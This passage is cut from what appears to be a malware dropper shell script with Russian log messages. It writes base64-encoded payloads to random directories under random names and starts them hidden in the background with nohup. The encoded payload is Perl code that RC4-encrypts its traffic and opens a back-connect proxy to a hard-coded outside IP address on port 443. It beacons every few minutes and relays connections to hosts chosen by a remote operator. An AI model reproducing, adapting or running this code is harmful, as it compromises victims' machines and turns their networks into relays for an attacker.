ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #35 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #35 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 36 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw 